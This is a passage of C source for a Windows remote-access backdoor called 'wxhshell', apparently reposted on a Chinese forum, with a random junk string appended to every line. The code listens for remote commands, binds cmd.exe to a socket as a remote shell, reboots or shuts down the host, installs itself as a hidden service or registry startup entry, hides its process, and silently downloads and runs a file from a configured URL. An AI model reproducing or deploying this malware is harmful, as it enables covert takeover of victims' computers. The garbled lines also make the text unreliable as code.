  if(DownloadFile(cmd,wsh)) _DR@P(0>_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^"Bhp:o2  
  else BOpZ8p'eH1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :ok.[q  
  } 6+=_p$crMx  
  else { =1Plu5  
C\{A|'l!x  
    switch(cmd[0]) { m9h<)D'>  
  =t N}4  
  // 帮助 {?Slo5X|  
  case '?': { -axKnfj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CUDA<Fm  
    break; q:_:E*o  
  } Aa-5k3:x]=  
  // 安装 jd]L}%ax  
  case 'i': { }a OBQsnO  
    if(Install()) (o{Y;E@/y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V;^-EWNj  
    else -.Wwo(4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); drpx"d[c  
    break; =LGM[Z3$s  
    } "9s}1C;Me  
  // 卸载 ,wf_o%'eW  
  case 'r': { {~&]  
    if(Uninstall()) H2iIBGu|L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k8G4CFg}wP  
    else PY|zN|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZQ"dAR/y  
    break; I484c R2.  
    } 5VE=Oo#&  
  // 显示 wxhshell 所在路径 .BjWZj  
  case 'p': { B<~AUf*y  
    char svExeFile[MAX_PATH]; wmpQF<  
    strcpy(svExeFile,"\n\r"); ]prw=rD  
      strcat(svExeFile,ExeFile); E2l" e?AN~  
        send(wsh,svExeFile,strlen(svExeFile),0); h~QQ-  
    break; -8)C6"V{  
    } _)@G,E33f@  
  // 重启 pZ $>Hh#  
  case 'b': { 0~<?*{~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h0-.9ym  
    if(Boot(REBOOT)) ;{8 X+H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XN-1`5:4I  
    else { <e&v[  
    closesocket(wsh); M19O^P>[  
    ExitThread(0); 0aq{Y7sYU  
    } J+CGhk  
    break; 'h ?  
    } q'fOlq  
  // 关机 RJ'za1@z;b  
  case 'd': { "r`2V-E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c}v8j2{  
    if(Boot(SHUTDOWN)) Sj)?!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _G`Q2hf"5  
    else { wg_Z@iX  
    closesocket(wsh); wo62R&ac  
    ExitThread(0); LQqba4$  
    }  irh Z  
    break; 2K3j3|T  
    } l_2Xao$  
  // 获取shell &n]v  
  case 's': { BZOl&G(  
    CmdShell(wsh); dJzaP  
    closesocket(wsh); E*R-Dno_F  
    ExitThread(0); /0`Eux\  
    break; nYC.zc*ox  
  } bfUKh%!M  
  // 退出 j*?E~M.'1K  
  case 'x': { ?gu!P:lZS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GQ85ykky  
    CloseIt(wsh); E Id>%0s5  
    break; Yq/vym-O5  
    } Gqq< -drR  
  // 离开 %/)z!}{  
  case 'q': { A+Bq5mik  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DZ`,QWuA  
    closesocket(wsh); |+~P; fG  
    WSACleanup(); O*2{V]Y @  
    exit(1); +-x+c: IxA  
    break; /_JR7BB^X,  
        } jn]l!nm  
  } WCaMPz  
  } 6wOj,}2Mn  
ui"`c%2n  
  // 提示信息 1C=42ZZ&2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^^V+0 l  
} zWN]#W`  
  } 0LGHSDb  
X+;#^A3  
  return; ld%#.~Q  
} :\mdVS!o  
<}mA>c'k  
// shell模块句柄 U_9|ED:  
int CmdShell(SOCKET sock) <%4pvn8d?&  
{ sj+ )   
STARTUPINFO si; H>\l E2  
ZeroMemory(&si,sizeof(si)); }If,O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lq 1223  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >7?Lq<H  
PROCESS_INFORMATION ProcessInfo; 0/fwAp  
char cmdline[]="cmd"; F&k<P>k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e Z L!Z!  
  return 0; Ug[0l)  
} [ P*L`F  
ee<'j~{A  
// 自身启动模式 ?<OE|nb&  
int StartFromService(void) ](+u'8  
{ @Rd`/S@  
typedef struct E)'T;%  
{ uw>y*OLU+  
  DWORD ExitStatus; mmC MsBfL  
  DWORD PebBaseAddress; X#W6;?Z\  
  DWORD AffinityMask; B|>eKI  
  DWORD BasePriority; I]#x0?D  
  ULONG UniqueProcessId; IQ JFL +f  
  ULONG InheritedFromUniqueProcessId; GB*^?Ii  
}   PROCESS_BASIC_INFORMATION; !bW^G} <t  
:p1_ij]ND  
PROCNTQSIP NtQueryInformationProcess; Oxi^&f||`  
AAi4} 8+\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gxDyCL$h3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9)F$){G]vs  
XU['lr&,W  
  HANDLE             hProcess; ;F2"gTQS  
  PROCESS_BASIC_INFORMATION pbi; r"7 !J[u  
.L)j ql%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eH;{Ln  
  if(NULL == hInst ) return 0; C]zG@O !  
h-03]M#8=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pfMmDl5|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N]I::  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vvn~G.&)  
<P5 7s+JK  
  if (!NtQueryInformationProcess) return 0; I0bkc3  
"v'%M({  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z1\=d=  
  if(!hProcess) return 0; < ?rdhx  
*Xu?(Jd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =`qEwA  
rB =c  
  CloseHandle(hProcess); bM,%+9oz;  
Z%{`j!!p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [Z[ p@Ux  
if(hProcess==NULL) return 0; m7cG ]a~a  
;0dl  
HMODULE hMod; Jk`0yJi$q  
char procName[255]; $B )jSxSy  
unsigned long cbNeeded; GS GaYq  
aqP"Y9l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s8*Q@0  
aO *][;0  
  CloseHandle(hProcess); 7$kTeKiP  
+W|VCz  
if(strstr(procName,"services")) return 1; // 以服务启动 7MX5hZF"  
:<6gP(  
  return 0; // 注册表启动 _nIt4l7  
} kc[<5^b5  
q$B|a5a?  
// 主模块 pQCW6X  
int StartWxhshell(LPSTR lpCmdLine) _o6Zj1p  
{ ib(4Y%U6~  
  SOCKET wsl; 7] >z e  
BOOL val=TRUE; P.Qz>c^-C  
  int port=0; a^)@ }4  
  struct sockaddr_in door; ZGS4P0$  
za5E{<0  
  if(wscfg.ws_autoins) Install(); a;G>56iw  
70A* !v  
port=atoi(lpCmdLine); /6'5uP   
)4FW~o<i  
if(port<=0) port=wscfg.ws_port; l=>FoJf!*<  
Pu2cU5n  
  WSADATA data; JIMi~mEiN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k|rbh.Q  
)tx!BJiZ[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p v*f]Yzx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4='/]z  
  door.sin_family = AF_INET; <xD6}h/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j2%M-y4E  
  door.sin_port = htons(port); (7|!%IO.  
-aM7>YR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \~:_ h#bW  
closesocket(wsl); X> V`)  
return 1; !F)BTB7{<  
} : UDh{GQ*  
_3m\r*(vmQ  
  if(listen(wsl,2) == INVALID_SOCKET) { 'q{d? K  
closesocket(wsl); "IzM:  
return 1; GOY!()F  
} q} p (p( N  
  Wxhshell(wsl); z4s{a(Tsd  
  WSACleanup(); 26-K:"  
bSk)GZyH\d  
return 0; !@f!4n.e|I  
M~*o =t  
} Y#oY'S .;y  
wN$u^]  
// 以NT服务方式启动 NU%W9jQYS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4u]>$?X1_  
{ %H7H0 %qW  
DWORD   status = 0; ]]V| ]}<)m  
  DWORD   specificError = 0xfffffff; a q]bF%7  
,M9Hdm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y'x+! &H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6V @ [< d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NfXEW-  
  serviceStatus.dwWin32ExitCode     = 0; oedLe9!  
  serviceStatus.dwServiceSpecificExitCode = 0; e`t-:~'  
  serviceStatus.dwCheckPoint       = 0; KqWt4{\8v`  
  serviceStatus.dwWaitHint       = 0; w4;1 ('  
b^&nr[DC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2~!+EH  
  if (hServiceStatusHandle==0) return; &&|c-mD+*  
QR[i9'`<  
status = GetLastError(); V?-OI>  
  if (status!=NO_ERROR) -hP>;~*4  
{ ;c0z6E /  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w7Vl,pN,  
    serviceStatus.dwCheckPoint       = 0; e~Z>C>J  
    serviceStatus.dwWaitHint       = 0; b,-qyJW6  
    serviceStatus.dwWin32ExitCode     = status; W[oQp2 =  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9>[ *y8[:0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cp3O$S  
    return; Aw7_diK^  
  } u*<knZ~ty  
J+f*D+x1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G>j4b}e  
  serviceStatus.dwCheckPoint       = 0; DBZ^n9  
  serviceStatus.dwWaitHint       = 0; P(~vqo>!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hge0$6l  
} 69EdMuf  
)\fLS d  
// 处理NT服务事件,比如:启动、停止 8G|kKpX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qBcwM=R3P  
{ 0tp3mYd  
switch(fdwControl) +jGSD@32>  
{ bv4G!21]*;  
case SERVICE_CONTROL_STOP: W3 2]#M=  
  serviceStatus.dwWin32ExitCode = 0; >Ef{e6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vFl06N2  
  serviceStatus.dwCheckPoint   = 0; ~Jx0#+z9V  
  serviceStatus.dwWaitHint     = 0; P^& =L&U  
  { (@;=[5+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gSXidh}^  
  } :B5M#D!dO  
  return; ^U]B&+m  
case SERVICE_CONTROL_PAUSE: ;wj8:9 ;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QX|y};7\e  
  break; :6y;U  
case SERVICE_CONTROL_CONTINUE: Gq9pJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I?Ct@yxhF'  
  break; b=Oec%Adx  
case SERVICE_CONTROL_INTERROGATE: }ujl2uhM  
  break; .u$o^; z!  
}; F4 :#okt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FR? \H"'x  
} _jD\kg#LY  
Zp <^|=D  
// 标准应用程序主函数 xjg(}w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "P@oO,.  
{ }\/ 3B_X6N  
KVZ-T1K  
// 获取操作系统版本 ?Y\hC0a60  
OsIsNt=GetOsVer(); -5sKJt]+i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .%T.sQ  
p1B~F  
  // 从命令行安装 2s<uT  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zsx\GeE%:  
KkD&|&!Q7u  
  // 下载执行文件 VJ()sbl{k  
if(wscfg.ws_downexe) { &BS*C} },  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rM{V>s:N  
  WinExec(wscfg.ws_filenam,SW_HIDE); {<y.G1<.  
} acdF5ch@  
="__*J#nze  
if(!OsIsNt) { 6z ,nt  
// 如果时win9x,隐藏进程并且设置为注册表启动 >Eqr/~Q  
HideProc(); N Obw/9JO  
StartWxhshell(lpCmdLine); \O(~:KN  
} ;{f4E)t 7  
else qttJ*zu  
  if(StartFromService()) _0EKE  
  // 以服务方式启动 xfADks2w  
  StartServiceCtrlDispatcher(DispatchTable); yHjuT+/wM,  
else R.$1aqA}  
  // 普通方式启动 8(|lP58~  
  StartWxhshell(lpCmdLine); JJVdq-k+`  
PiZU _~A  
return 0; +jN%w{^=  
}
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只看该作者 1 发表于: 2006-10-10
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